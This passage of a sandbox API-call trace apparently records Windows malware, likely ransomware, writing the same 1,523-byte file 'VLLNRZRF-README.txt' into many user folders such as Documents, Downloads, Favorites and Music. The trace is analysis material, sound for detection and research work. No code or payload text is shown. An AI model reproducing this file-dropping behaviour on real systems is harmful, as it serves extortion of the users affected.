HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x480 [0101.591] GetFileType (hFile=0x480) returned 0x1 [0101.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0101.591] GetFileType (hFile=0x480) returned 0x1 [0101.591] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0101.592] WriteFile (in: hFile=0x480, lpBuffer=0x22282b8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22282b8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0101.593] CloseHandle (hObject=0x480) returned 1 [0103.877] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x7c [0103.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0103.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\uhxcan3benh9j2sm go\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0103.879] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x7c [0103.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0103.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\uhxcan3benh9j2sm go\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4bc [0103.880] GetFileType (hFile=0x4bc) returned 0x1 [0103.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0103.880] GetFileType (hFile=0x4bc) returned 0x1 [0103.880] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0103.880] WriteFile (in: hFile=0x4bc, lpBuffer=0x2394578*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2394578*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0103.881] CloseHandle (hObject=0x4bc) returned 1 [0103.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0103.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0103.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0103.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0103.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0103.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4a4 [0103.896] GetFileType (hFile=0x4a4) returned 0x1 [0103.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0103.896] GetFileType (hFile=0x4a4) returned 0x1 [0103.896] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0103.896] WriteFile (in: hFile=0x4a4, lpBuffer=0x2398c30*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2398c30*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0103.897] CloseHandle (hObject=0x4a4) returned 1 [0103.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0103.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0103.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0103.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0103.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0103.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x47c [0103.916] GetFileType (hFile=0x47c) returned 0x1 [0103.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0103.916] GetFileType (hFile=0x47c) returned 0x1 [0103.917] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0103.917] WriteFile (in: hFile=0x47c, lpBuffer=0x239d298*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x239d298*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0103.918] CloseHandle (hObject=0x47c) returned 1 [0103.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x41 [0103.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0103.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0103.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x41 [0103.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0103.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x428 [0103.976] GetFileType (hFile=0x428) returned 0x1 [0103.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0103.976] GetFileType (hFile=0x428) returned 0x1 [0103.976] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0103.976] WriteFile (in: hFile=0x428, lpBuffer=0x23a31e0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23a31e0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0103.977] CloseHandle (hObject=0x428) returned 1 [0104.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0104.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0104.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0104.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0104.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0104.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0104.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x430 [0104.270] GetFileType (hFile=0x430) returned 0x1 [0104.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0104.270] GetFileType (hFile=0x430) returned 0x1 [0104.270] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0104.270] WriteFile (in: hFile=0x430, lpBuffer=0x23b7030*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23b7030*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0104.271] CloseHandle (hObject=0x430) returned 1 [0104.718] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0104.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0104.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0104.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0104.718] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0104.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0104.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x448 [0104.719] GetFileType (hFile=0x448) returned 0x1 [0104.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0104.719] GetFileType (hFile=0x448) returned 0x1 [0104.719] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0104.720] WriteFile (in: hFile=0x448, lpBuffer=0x23dd050*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23dd050*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0104.721] CloseHandle (hObject=0x448) returned 1 [0105.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0105.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0105.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0105.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0105.711] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0105.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0105.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x45c [0105.713] GetFileType (hFile=0x45c) returned 0x1 [0105.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0105.713] GetFileType (hFile=0x45c) returned 0x1 [0105.713] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0105.714] WriteFile (in: hFile=0x45c, lpBuffer=0x24079b0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x24079b0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0105.715] CloseHandle (hObject=0x45c) returned 1 [0106.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x37 [0106.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0106.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0106.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0106.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x37 [0106.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0106.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x494 [0106.809] GetFileType (hFile=0x494) returned 0x1 [0106.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0106.809] GetFileType (hFile=0x494) returned 0x1 [0106.809] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0107.081] WriteFile (in: hFile=0x494, lpBuffer=0x2225548*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2225548*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0107.178] CloseHandle (hObject=0x494) returned 1 [0107.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x40 [0107.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0107.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0107.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0107.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x40 [0107.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0107.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4f4 [0107.327] GetFileType (hFile=0x4f4) returned 0x1 [0107.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0107.327] GetFileType (hFile=0x4f4) returned 0x1 [0107.327] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0107.327] WriteFile (in: hFile=0x4f4, lpBuffer=0x222af08*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x222af08*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0107.329] CloseHandle (hObject=0x4f4) returned 1 [0107.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VLLNRZRF-README.txt", 